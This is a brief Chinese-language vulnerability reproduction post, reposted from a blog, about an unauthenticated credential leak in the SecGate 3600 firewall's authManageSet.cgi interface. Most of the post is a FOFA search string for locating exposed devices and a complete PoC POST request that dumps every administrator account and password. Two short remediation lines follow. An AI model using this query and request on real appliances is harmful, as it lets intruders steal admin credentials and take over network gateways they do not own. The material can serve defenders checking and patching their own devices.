网神 SecGate3600 authManageSet.cgi信息泄露漏洞复现

2023-12-13 06:04:03

漏洞概述

网神SecGate 3600?authManageSet.cgi 接口存在敏感信息泄露漏洞，未授权得攻击者可以通过此漏洞获取控制台管理员用户名密码等凭据，可登录控制整个后台，使系统处于极不安全的状态

复现环境

FOFA：body="sec_gate_image/login_02.gif"

PoC

POST /cgi-bin/authUser/authManageSet.cgi HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

type=getAllUsers&_search=false&nd=1645000391264&rows=-1&page=1&sidx=&sord=asc

验证?

修复建议

关闭互联网暴露面或删除相关页面

升级至安全版本

文章来源:https://blog.csdn.net/qq_41904294/article/details/134961876
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。